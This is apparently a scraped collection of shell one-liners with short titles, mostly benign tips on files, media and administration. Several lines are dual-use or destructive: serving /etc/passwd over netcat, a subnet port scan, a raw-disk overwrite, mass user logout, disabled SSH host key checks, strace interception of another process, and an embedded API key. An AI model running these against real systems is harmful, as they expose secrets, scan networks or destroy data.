Get mouse location (X,Y coordinates)
xdotool getmouselocation
Convert encoding from cp1252 (MS Windows) to UTF-8 on source code files
find . -iname *.java -type f -exec bash -c "iconv -f WINDOWS-1252 -t UTF-8 {} > {}.tmp " \; -exec mv {}.tmp {} \;
list with full path
printf "$PWD/%s\n" *
ls only directories
ls -ad */
Job Control
^z; bg; disown
Get full directory path of a script regardless of where it is run from
BASEDIR=$(dirname $(readlink -f $0))
Script Terminal Session
script -f /tmp/foo; tail -f /tmp/foo
Your GeoIP location on Google Maps
curl -s http://geoiplookup.wikimedia.org/|awk -F, '{print $3,$4}'|awk -F'"' '{print "http://maps.google.com/maps?q="$4 "," $8}'
write by vim need root privilege
!w sudo tee %
Generate Sha1, MD5 hash using echo
echo -n "password"|md5sum|awk '{print $1}'
Show UDID of iPhone
lsusb -s :`lsusb | grep iPhone | cut -d ' ' -f 4 | sed 's/://'` -v | grep iSerial | awk '{print $3}'
shortcut to scp a file to the same location on a remote machine
scp filename root@remote:`pwd`
append empty line after every line in file.txt
sed G file.txt
Apply new patch for a directory (originDir)
patch -p0 -i result.patch
Create patch file for two directories
diff -r -u originDir updateDir > result.patch
Change Random Wallpaper on Gnome 3
gsettings set org.gnome.desktop.background picture-uri file://"$(find ~/Wallpapers -type f | shuf -n1)"
sort lines by length
perl -C -e 'print for sort { length $a <=> length $b or $a cmp $b } <>' < /usr/share/dict/words | tail
Generate a list of installed packages on Debian-based systems
dpkg -l
Open Remote Desktop (RDP) from command line and connect local resources
rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD -r disk:share=~/share -z -g 1280x900 -0 $@ &
Restrict the bandwidth for the SCP command
scp -l10 pippo@serverciccio:/home/zutaniddu/* .
live ssh network throughput test
pv /dev/zero|ssh $host 'cat > /dev/null'
bash screensaver (scrolling ascii art with customizable message)
while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done
Upgrade all perl modules via CPAN
cpan -r
Optimal way of deleting huge numbers of files
find /path/to/dir -type f -delete
Use colordiff in side-by-side mode, and with automatic column widths.
colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2
Remove lines that contain a specific pattern(\(1) from file(\)2).
sed -i '/myexpression/d' /path/to/file.txt
List your largest installed packages (on Debian/Ubuntu)
dpigs
rsync + find
find . -name "whatever.*" -print0 | rsync -av --files-from=- --from0 ./ ./destination/
autossh + ssh + screen = super rad perma-sessions
AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'
Record microphone input and output to date stamped mp3 file
arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3
Send data securly over the net.
cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | netcat -l -p 8080
Parallel file downloading with wget
wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv
move a lot of files over ssh
tar -cf - /home/user/test | gzip -c | ssh user@sshServer 'cd /tmp; tar xfz -'
Cleanup firefox's database.
pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'|(while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done)
vim easter egg
$ vim ... :help 42
Find the process you are looking for minus the grepped one
pgrep command_name
Stream YouTube URL directly to mplayer
id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php?video_id=$id\&t=$(curl -s http://www.youtube.com/watch?v=$id | sed -n 's/.*, "t": "\([^"]*\)", .*/\1/p')
currently mounted filesystems in nice layout
column -t /proc/mounts
Send email with one or more binary attachments
echo "Body goes here" | mutt -s "A subject" -a /path/to/file.tar.gz recipient@example.com
Salvage a borked terminal
echo <ctrl-v><esc>c<enter>
Update twitter via curl
curl -u user -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
ssh autocomplete
complete -W "$(echo $(grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //'))" ssh
Get all IPs via ifconfig
ifconfig | perl -nle'/dr:(\S+)/ && print $1'
Check your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | awk 'BEGIN{FS="\n";RS="(</entry>\n)?<entry>"}NR!=1{print "\033[1;31m"$9"\033[0;32m ("$10")\033[0m:\t\033[1;33m"$2"\033[0m"}' | sed -e 's,<[^>]*>,,g' | column -t -s $'\t'
Suppress output of loud commands you don't want to hear from
quietly() { "$@" > /dev/null 2>&1; }
Using PIPEs, Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png.
imgur(){ convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
mix video and audio
ffmpeg -i video.mp4 -i audio.mp3 -vcodec copy -acodec copy -map 0.0:0 -map 1.0:1 mix.mp4
Get duration of an audio file in seconds.
get_duration() { durline=$(sox "$1" -n stat 2>&1|grep "Length (seconds):");echo ${durline#*\: }; }
put current directory in LAN quickly
python -m SimpleHTTPServer
Output sound when your computer is downloading something
tcpdump | aplay -c 2
Use Perl like grep
prep () { perl -nle 'print if '"$1"';' $2 }
lsof - cleaned up for just open listening ports, the process, and the owner of the process
alias oports="echo 'User: Command: Port:'; echo '----------------------------' ; lsof -i 4 -P -n | grep -i 'listen' | awk '{print \$3, \$1, \$9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -k 3 -n |xargs printf '%-10s %-10s %-10s\n' | uniq"
copy last command to clipboard
echo "!!" | pbcopy
sed edit-in-place using -a option instead of -i option (no tmp file created)
sedi(){ case $!!! Example "in [01]|[3-9])echo usage: sedi sed-cmds file ;;2)sed -a ''"$1"';H;$!d;g;' $2 |sed -a '/^$/d;w '"$2"'' ;;esac;}
Normalize volume output in MPlayer
mplayer -af volnorm=2:0.75 dvd://
SMS reminder
echo 'mail -s "Call your wife" 13125551234@tmomail.net' |at now+15min
Extract JPEG images from a PDF document
pdfimages -j foo.pdf bar
Generate a random password
openssl rand -base64 12
read squid logs with human-readable timestamp
tail -f /var/log/squid/access.log | perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e'
resume other user's screen session via su, without pty error
su -
Find Out My Linux Distribution Name and Version
cat /etc/*-release
Random file naming
mv file.png $( mktemp -u | cut -d'.' -f2 ).png
port scan using parallel
seq 1 255 | parallel -j+0 'nc -w 1 -z -v 192.168.1.{} 80'
Debug a remote php application (behind firewall) using ssh tunnel for XDEBUG port 9000
ssh -R 9000:localhost:9000 you@remote-php-web-server.com
Remove security limitations from PDF documents using ghostscript (for Windows)
gswin32c -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sFONTPATH=%windir%/fonts;xfonts;. -sPDFPassword= -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -sOutputFile=OUTPUT.pdf INPUT.pdf
Real time duplication of Apache app traffic to a second server
nice -n -20 ssh SOURCE_SERVER "tail -f /var/log/httpd/access.log " | awk '{print $7}' | grep jsp | parallel 'curl TARGET_SERVER{} 2>&1 /dev/null'
GRUB2: set Super Mario as startup tune
sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub'
Numeric zero padding file rename
ls *.jpg | awk -F'.' '{ printf "%s %04d.%s\n", $0, $1, $2; }' | xargs -n2 mv
VIM: Replace a string with an incrementing number between marks 'a and 'b (eg, convert string ZZZZ to 1, 2, 3, …)
:let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
Get the canonical, absolute path given a relative and/or noncanonical path
readlink -f ../super/symlink_bon/ahoy
Create a Multi-Part Archive Without Proprietary Junkware
tar czv Pictures | split -d -a 3 -b 16M - pics.tar.gz.
Display last exit status of a command
echo $?
Enable ** to expand files recursively (>=bash-4.0)
shopt -s globstar
Delete all files found in directory A from directory B
for file in <directory A>/*; do rm <directory B>/`basename $file`; done
Command Line to Get the Stock Quote via Yahoo
curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
Plays Music from SomaFM
read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls
Search for a single file and go to it
cd $(dirname $(find ~ -name emails.txt))
Convert camelCase to underscores (camel_case)
sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt
Set your profile so that you resume or start a screen session on login
echo "screen -DR" >> ~/.bash_profile
play high-res video files on a slow processor
mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all
Create directory named after current date
mkdir $(date +%Y%m%d)
Monitor dynamic changes in the dmesg log.
watch "dmesg |tail -15"
Generate a list of installed packages on Debian-based systems
dpkg --get-selections > LIST_FILE
find the process that is using a certain port e.g. port 3000
lsof -P | grep ':3000'
Edit the last or previous command line in an editor then execute
fc [history-number]
Pause Current Thread
ctrl-z
Converts to PDF all the OpenOffice.org files in the directory
for i in $(ls *.od{tp}); do unoconv -f pdf $i; done
Create a bunch of dummy files for testing
touch {1..10}.txt
Shows size of dirs and files, hidden or not, sorted.
du -cs * .[^\.]* | sort -n
Convert .wma files to .ogg with ffmpeg
find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \;
Generate Random Passwords
bash shortcut: !$ !^ !* !:3 !:h and !:t
echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t
Find recursively, from current directory down, files and directories whose names contain single or multiple whitespaces and replace each such occurrence with a single underscore.
find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
Diff files over SSH
Diff files over SSH: ssh [login]@[host] "cat [remote file]" | diff - "[local file]"
Generate soothing noise
/usr/bin/play -q -n synth brown band -n 1200 200 tremolo 0.05 80
View all new log messages in real time with color
find /var/log -iregex '.*[^\.][^0-9]+$' -not -iregex '.*gz$' 2> /dev/null | xargs tail -n0 -f | ccze -A
BASH: Print shell variable into AWK
MyVAR=85 awk '{ print ENVIRON["MyVAR"] }'
Find out current working directory of a process
eval ls -l /proc/{$(pgrep -d, COMMAND)}/cwd
Quick and dirty RSS
curl --silent "FEED ADDRESS" |sed -e 's/<\/[^>]*>/\n/g' -e 's/<[^>]*>//g
Does a traceroute. Lookup and display the network or AS names and AS numbers.
lft -NAS google.com
Selecting a random file/folder of a folder
find . | shuf -n1
Plowshare, download files from cyberlocker like rapidshare megaupload …etc
plowdown http://www.megaupload.com/?d=abc1234567
Install Linux Kernel Headers
sudo apt-get install linux-headers-$(uname -r)
Ext3 format Terabytes in Seconds
mkfs.ext3 -T largefile4
Poor's man Matrix script
while (true) ; do pwgen 1 ; done
Extract raw URLs from a file
egrep -ie "<*HREF=(.*?)>" index.html | cut -d "\"" -f 2 | grep ://
Start vim without initialization
vim -u NONE yourfile
List your MACs address
ip link | awk '/link/ {print $2}'
Display top Keywords from history
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
Watch memcache traffic
sudo tcpdump -i eth0 -s 65535 -A -ttt port 11211
Google voice recognition "API"
wget -q -U "Mozilla/5.0" --post-file speech.flac --header="Content-Type: audio/x-flac; rate=16000" -O - "http://www.google.com/speech-api/v1/recognize?lang=en-us&client=chromium"
left-right mouse buttons (left-handed)
xmodmap -e "pointer = 3 2 1"
Figure out what shell you're running
ps -p $$
Watch a movie in linux without the X windows system.
mplayer -vo fbdev -xy 1024 -fs -zoom /path/to/movie.avi
Watch Al Jazeera Livestream directly in mplayer #jan25
mplayer $(wget -q -O - "http://europarse.real.com/hurl/gratishurl.ram?pid=eu_aljazeera&file=al_jazeera_en_lo.rm" | sed -e 's#lo.rm#hi.rm#')
Undo commit in Mercurial
hg diff -c $REV --reverse | hg patch --no-commit -
A "Web 2.0" domain name generator and look for register availability
for domain in $(pwgen -1A0B 6 10); do echo -ne "$domain.com "; if [ -z "$(whois -H $domain.com | grep -o 'No match for')" ]; then echo -ne "Not "; fi; echo "Available for register"; done
To get the CPU temperature continuously on the desktop
while :; do acpi -t | osd_cat -p bottom ; sleep 1; done &
Tells which group you DON'T belong to (opposite of command "groups") — uses sed
sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/\n/ /;ta'
Quickly get summary of sizes for files and folders
du -sh *
Host cpu performance
openssl speed md5
drop first column of output by piping to this
awk '{ $1="";print}'
Create a bunch of dummy text files
base64 /dev/urandom | head -c 33554432 | split -b 8192 -da 4 - dummy.
Get the Nth argument of the last command (handling spaces correctly)
!:n
Add directory to $PATH if it's not already there
if [[ ":$PATH:" != *":$dir:"* ]]; then PATH=${PATH}:$dir; fi
Retry the previous command until it exits successfully
!!; while [ $? -ne 0 ]; do !!; done
Play awesome rythmic noise using aplay
echo "main(i){for(i=0;;i++)putchar(((i*(i>>8|i>>9)&46&i>>8))^(i&i>>13|i>>6));}" | gcc -x c - && ./a.out | aplay
Turns red the stderr output
color()(set -o pipefail;"$@" 2>&1>&3|sed $'s,.*,\e[31m&\e[m,'>&2)3>&1
Recursively unrar into dir containing archive
find . -name '*.rar' -execdir unrar e {} \;
Temporarily ignore mismatched SSH host key
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no username@host
Remove all zero size files from current directory (not recursive)
find . -maxdepth 1 -size 0c -delete
Watch the progress of 'dd'
pv -tpreb /dev/urandom | dd of=file.img
Get a stream feed from a Twitter user
step1 ; step2 ; step3 ; step4 ; curl -o- --get 'https://stream.twitter.com/1/statuses/filter.json' --header "$oauth_header" --data "follow=$id"
Create the authorization header required for a Twitter stream feed
step4() { oauth_header="Authorization: OAuth oauth_consumer_key=\"$k1\", oauth_nonce=\"$once\", oauth_signature=\"$signature\", oauth_signature_method=\"HMAC-SHA1\", oauth_timestamp=\"$ts\", oauth_token=\"$k3\", oauth_version=\"1.0\"" ; }
Create the signature base string required for a Twitter stream feed
step2(){ b="GET&https%3A%2F%2Fstream.twitter.com%2F1%2Fstatuses%2Ffilter.json&follow%3D${id}%26oauth_consumer_key%3D${k1}%26oauth_nonce%3D${once}%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D${ts}%26oauth_token%3D${k3}%26oauth_version%3D1.0";}
Create the oauth token required for a Twitter stream feed
step3() { s=$(echo -n $b | openssl dgst -sha1 -hmac $hmac -binary | openssl base64); signature=`for((i=0;i<${#s};i++)); do case ${s:i:1} in +) e %2B;; /) e %2F;; =) e %3D;; *) e ${s:i:1};; esac ; done` ; } ; e() { echo -n $1; }
Check your spelling
aspell -a <<< '<WORDS>'
Find all files larger than 500M and less than 1GB
find / -type f -size +500M -size -1G
Show bandwidth use oneliner
while true; do cat /proc/net/dev; sleep 1; done | awk -v dc="date \"+%T\"" '/eth0/{i = $2 - oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f KiB/s in %8.2f KiB/s out\n", d, i/1024, o/1024}'
Change/Modify timestamp interactively
touch -d $(zenity --calendar --date-format=%F) filename
sort the contents of a text file in place.
sort -g -o list.txt{,}
Instantly load bash history of one shell into another running shell
$ history -a #in one shell , and $ history -r #in another running shell
Compare directories via diff
diff -rq dirA dirB
xargs for builtin bash commands
bargs { while read i; do "$@" "$i"; done }
lotto generator
shuf -i 1-49 -n 6 | sort -n | xargs
Efficient remote forensic disk acquisition gpg-crypted for multiple recipients
dd if=/dev/sdb | pigz | gpg -r <recipient1> -r <recipient2> -e --homedir /home/to/.gnupg | nc remote_machine 6969
strips the first field of each line where the delimiter is the first ascii character
cut -f2 -d`echo -e '\x01'` file
Send your terminfo to another machine
infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti && tic /tmp/ti"
Transform a portrait pdf in a landscape one with 2 pages per page
pdfnup --nup 2x1 --frame true --landscape --outfile output.pdf input.pdf
List just the executable files (or directories) in current directory
ls -F | grep '*$'
extract content of a Debian package
ar -x package.deb
delete multiple files from git index that have already been deleted from disk
git status | grep deleted | awk '{print $3}' | xargs git rm
Remove all .svn folders
find . -name .svn -type d -exec rm -rf '{}' +
Remove duplicate rows of an un-sorted file based on a single column
perl -ane 'print unless $x{$F[0]}++' infile > outfile
find an unused unprivileged TCP port
(netstat -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) | sort -n | uniq -u | head -n 1
Bash alias for creating screen session containing IRSSI, named irssi, while checking if existing session is created
alias irssi="screen -wipe; screen -A -U -x -R -S irssi irssi"
Backup a file with a date-time stamp
buf () { cp $1{,$(date +%Y%m%d_%H%M%S)}; }
Batch rename extension of all files in a folder, in the example from .txt to .md
for f in *.txt;do mv ${f%txt}{txt,md}; done
Mount Fat USB with RWX
sudo mount -t vfat -o umask=000,uid=YOUR_UID,gid=users /dev/sdb1 /media/usb
Generate random valid mac addresses
ruby -e 'puts (1..6).map{"%0.2X"%rand(256)}.join(":")'
Start dd and show progress every X seconds
dd if=/path/to/inputfile of=/path/to/outputfile & pid=$! && sleep X && while kill -USR1 $pid; do sleep X; done
Join lines
perl -pe 'eof()||s/\n/<SOMETEXT>/g' file.txt
To find the uptime of each process-id of particular service or process
ps -o etime `pidof firefox` |grep -v ELAPSED | sed 's/\s*//g' | sed "s/\(.*\)-\(.*\):\(.*\):\(.*\)/\1d \2h/; s/\(.*\):\(.*\):\(.*\)/\1h \2m/;s/\(.*\):\(.*\)/\1m \2s/"
Get gzip compressed web page using wget.
wget -q -O- --header\="Accept-Encoding: gzip" <url> | gunzip > out.html
Check apache config syntax and restart or edit the file
( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed 's/.*line\s\([0-9]*\).*/\1/'); vim +$l $(locate apache2.conf | head -n1)))
Bulk install
aptitude install '?and(~nlib.*perl, ~Dmodule)'
recursive remove all htm files
find . -type f -name '*.htm' -delete
Monitor a file with tail with timestamps added
tail -f file |xargs -IX printf "$(date -u)\t%s\n" X
copy with progress bar - rsync
rsync -rv <src> <dst> --progress
Multiple variable assignments from command output in BASH
read day month year < <(date +'%d %m %y')
List your MACs address
cat /sys/class/net/eth0/address
Rename all files which contain the sub-string 'foo', replacing it with 'bar'
for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done
Create a 5 MB blank file via a seek hole
dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1
ROT13 using the tr command
alias rot13="tr a-zA-Z n-za-mN-ZA-M"
Bash logger
script /tmp/log.txt
Recursively search for large files. Show size and location.
find . -size +100000k -exec du -h {} \;
Make vim open in tabs by default (save to .profile)
alias vim="vim -p"
Rename HTML files according to their title tag
perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html
Create a new file
> file
Secure copy from one server to another without rsync and preserve users, etc
tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)"
the same as [Esc] in vim
Ctrl + [
Binary clock
perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}'
Function to split a string into an array
read -a ARR <<<'world domination now!'; echo ${ARR[2]};
Generate MD5 hash for a string
md5sum <<<"test"
Use result of the last command
`!!`
Recompress all .gz files in current directory using bzip2 running 1 job per CPU core in parallel
parallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz
phpinfo from the command line
php -i
Escape potential tarbombs
atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ;}
pretend to be busy in office to enjoy a cup of coffee
while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep "ca fe"
Get notified when a job you run in a terminal is done, using NotifyOSD
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"'
runs a X session within your X session
ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 -query localhost'
Have a random "cow" say a random thing
fortune | cowsay -f $(ls /usr/share/cowsay/cows/ | shuf -n1)
sends a postscript file to a postscript printer using netcat
cat my.ps | nc -q 1 hp4550.mynet.xx 9100
Binary clock
echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=' ') f"|dc|tac|xargs printf "%04d\n"|tr "01" ".*"
get function's source
typeset -f <function name>; declare -f <function name>
Ask user to confirm
Confirm() { echo -n "$1 [y/n]? " ; read reply; case $reply in Y*|y*) true ;; *) false ;; esac }
Rsync files with spaces
rsync [options] -- * target
Create a tar file with the current date in the name.
tar cfz backup-$(date --iso).tar.gz somedirs
prints the parameter you used on the previous command
<alt+.>
To convert *.wav to *.mp3 using LAME running one process per CPU core run:
parallel -j+0 lame {} -o {.}.mp3 ::: *.wav
Command to logout all the users in one command
who -u | grep -vE "^root " | kill `awk '{print $7}'`
Get just the IP for a hostname
getent hosts google.com | awk '{print $1}'
List only executables installed by a debian package
find $(dpkg -L iptables) -maxdepth 0 -executable -type f
Get sunrise and sunset times
l=12765843;curl -s http://weather.yahooapis.com/forecastrss?w=$l|grep astronomy| awk -F\" '{print $2 "\n" $4;}'
Adjust gamma so monitor doesn't mess up your body's clock
xrandr | sed -n 's/ connected.*//p' | xargs -n1 -tri xrandr --output {} --brightness 0.7 --gamma 2:3:4
Verify if user account exists in Linux / Unix
id <username>
List the size (in human readable form) of all sub folders from the current location
du --max-depth=1|sort -n|cut -f2|tr '\n' '\0'|xargs -0 du -sh 2>/dev/null
pretend to be busy in office to enjoy a cup of coffee
for i in $(seq 0 5 100); do echo $i; sleep 1; done | zenity --progress --title "Installing Foobar" --text "Pleae wait until process has finished."
pretend to be busy in office to enjoy a cup of coffee
for i in $(seq 0 5 100); do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40
intercept stdout/stderr of another process or disowned process
strace -e write=1,2 -p $PID 2>&1 | sed -un "/^ |/p" | sed -ue "s/^.\{9\}\(.\{50\}\).\+/\1/g" -e 's/ //g' | xxd -r -p
commandline dictionary
wn wonder -over
Youtube-dl gone stale on you/stopped working (Ubuntu)?
sudo youtube-dl -U
Joins args together using the first arg as glue
joinargs() { (IFS="$1"; shift && echo "$*") }
List the size of all sub folders and files from the current location, with sorting
du -a --max-depth=1 | sort -n
Kill any process with one command using program name
pkill <name>
xargs for builtin bash commands
xargsb() { while read -r cmd; do ${@//'{}'/$cmd}; done; }
Coping files, excluding certain files
find ./ ! -name 'excludepattern' | xargs -i cp --parents {} destdir
count how many cat processes are running
ps ax | grep -c [c]at
Display which distro is installed
cat /etc/*release
Fetch every font from dafont.com to current folder
d="www.dafont.com/alpha.php?";for c in {a..z}; do l=`curl -s "${d}lettre=${c}"|sed -n 's/.*ge=\([0-9]\{2\}\).*/\1/p'`;for((p=1;p<=l;p++));do for u in `curl -s "${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\?f=\w*"`;do aria2c "${u}";done;done;done
Realtime lines per second in a log file
tail -f access.log | pv -l -i10 -r >/dev/null
intercept stdout/stderr of another process
strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p
send DD a signal to print its progress
while :;do killall -USR1 dd;sleep 1;done
See your current RAM frequency
dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }'
Perl Command Line Interpreter
perl -e 'while(1){print"> ";eval<>}'
Find unused IPs on a given subnet
nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
Change the From: address on the fly for email sent from the command-line
mail -s "subject" user@todomain.com <emailbody.txt -- -f customfrom@fromdomain.com -F 'From Display Name'
find and delete empty dirs, start in current working dir
find . -type d -empty -delete
Check which files are opened by Firefox then sort by largest size.
lsof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if(s>0) print (s)" MB -- "$9 | "sort -rn" }'
extract email adresses from some file (or any other pattern)
grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
geoip information
curl -s "http://www.geody.com/geoip.php?ip=$(curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g'
What is my ip?
curl http://www.whatismyip.org/
convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format)
VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw
FAST Search and Replace for Strings in all Files in Directory
sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep -l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF'
Get the total length of time in hours:minutes:seconds (HH:MM:SS) of all video (or audio) in the current dir (and below)
find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy -ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0-9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d\n",$t/3600,$t/60%60,$t%60' | tail -n 1
Log your internet download speed
echo $(date +%s) > start-time; URL=http://www.google.com; while true; do echo $(curl -L --w %{speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done &
cycle through a 256 colour palette
yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
When was your OS installed?
ls -lct /etc | tail -1 | awk '{print $6, $7}'
How to run a command on a list of remote servers read from a file
while read server; do ssh -n user@$server "command"; done < servers.txt
Replace spaces in filenames with underscorees
ls | while read f; do mv "$f" "${f// /_}";done
find the biggest files recursively, no matter how many
find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr
grep certain file types recursively
grep -r --include="*.[ch]" pattern .
Change proccess affinity.
taskset -cp <core> <pid>
using tee to echo to a system file with sudo privileges
echo ondemand | sudo tee /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
enable all bash completions in gentoo
for x in $(eselect bashcomp list | sed -e 's/ //g' | cut -d']' -f2 | sed -e 's/\*//');do eselect bashcomp enable $x --global;sleep 0.5s;done
send file to remote machine and unzip using ssh
ssh user@host 'gunzip - > file' < file.gz
Take a screenshot of the window the user clicks on and name the file the same as the window title
sleep 4; xwd >foo.xwd; mv foo.xwd "$(dd skip=100 if=foo.xwd bs=1 count=256 2>/dev/null | egrep -ao '^[[:print:]]+' | tr / :).xwd"
Repeat a portrait eight times so it can be cut out from a 6"x4" photo and used for visa or passport photos
montage 2007-08-25-3685.jpg +clone -clone 0-1 -clone 0-3 -geometry 500 -frame 5 output.jpg
Indent all the files in a project using emacs
find -iname \*.[ch] -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \;
Getting ESP and EIP addresses from running processes
ps ax --format=pid,eip,esp,user,command
Fill a hard drive with ones - like zero-fill, but the opposite :)
tr '\000' '\377' < /dev/zero | dd bs=512 count=200000 status=noxfer | pipebench | sudo dd of=/dev/sdx
Colour part of your prompt red to indicate an error
export PROMPT_COMMAND='if (($? > 0)); then echo -ne "\033[1;31m"; fi'; export PS1='[\[\]\u\[\033[0m\] \[\033[1;34m\]\w\[\033[0m\]]\$ '
Title Case Files
rename 's/\b((?!(a|of|that|to)\b)[a-z]+)/\u$1/g' *
Take a screenshot of a login screen
chvt 7 ; sleep 2 ; DISPLAY=:0.0 import -window root screenshot.png
run command on a group of nodes in parallel redirecting outputs
xargs -n1 -P100 -I{} sh -c 'ssh {} uptime >output/{} 2>error/{}' <hostlist
replace strings in file names
rename 's/foo/bar/g' foobar
remote-pbzip2 and transfer a directory to local file
ssh user@host 'tar -c --use-compress-prog=pbzip2 /<dir>/<subdir>' > <localfile>.tar.bz2
Encode/Decode text to/from Base64 on a Mac w/out Mac Ports
openssl base64 -in base64.decoded.txt -out base64.encoded.txt
Converts uppercase chars in a string to lowercase
s="StrinG"; echo ${s,,}
List the libraries used by an application
ldd /bin/bash | awk 'BEGIN{ORS=","}$1~/^\//{print $1}$3~/^\//{print $3}' | sed 's/,$/\n/'
What is my public IP-address?
wget -qO- ifconfig.me/ip
Query an NFS host for its list of exports
/usr/sbin/showmount -e <host>
Print a list of installed Perl modules
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe 'find { wanted => sub { print canonpath $_ if /\.pm\z/ }, no_chdir => 1 }, @INC'
Disable WoL on eth0
sudo ethtool -s eth0 wol d
untar undo
tar tfz filename.tgz |xargs rm -Rf
which process is accessing the CDROM
lsof -n | grep /media/cdrom
Cleanup debian/ubuntu package configurations
sudo dpkg-reconfigure -a
Change SSH RSA passphrase
ssh-keygen -f ~/.ssh/id_rsa -p
back up your commandlinefu contributed commands
curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzip ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz
benchmark web server with apache benchmarking tool
ab -n 9000 -c 900 localhost:8080/index.php
Redirect incoming traffic to SSH, from a port of your choosing
iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] -j REDIRECT --to-ports 22
Easily scp a file back to the host you're connecting from
mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }
Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal.
echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))"
find and replace tabs for spaces within files recursively
find ./ -type f -exec sed -i 's/\t/ /g' {} \;
alt + 1 .
alt + 1 .
sends your internal IP by email
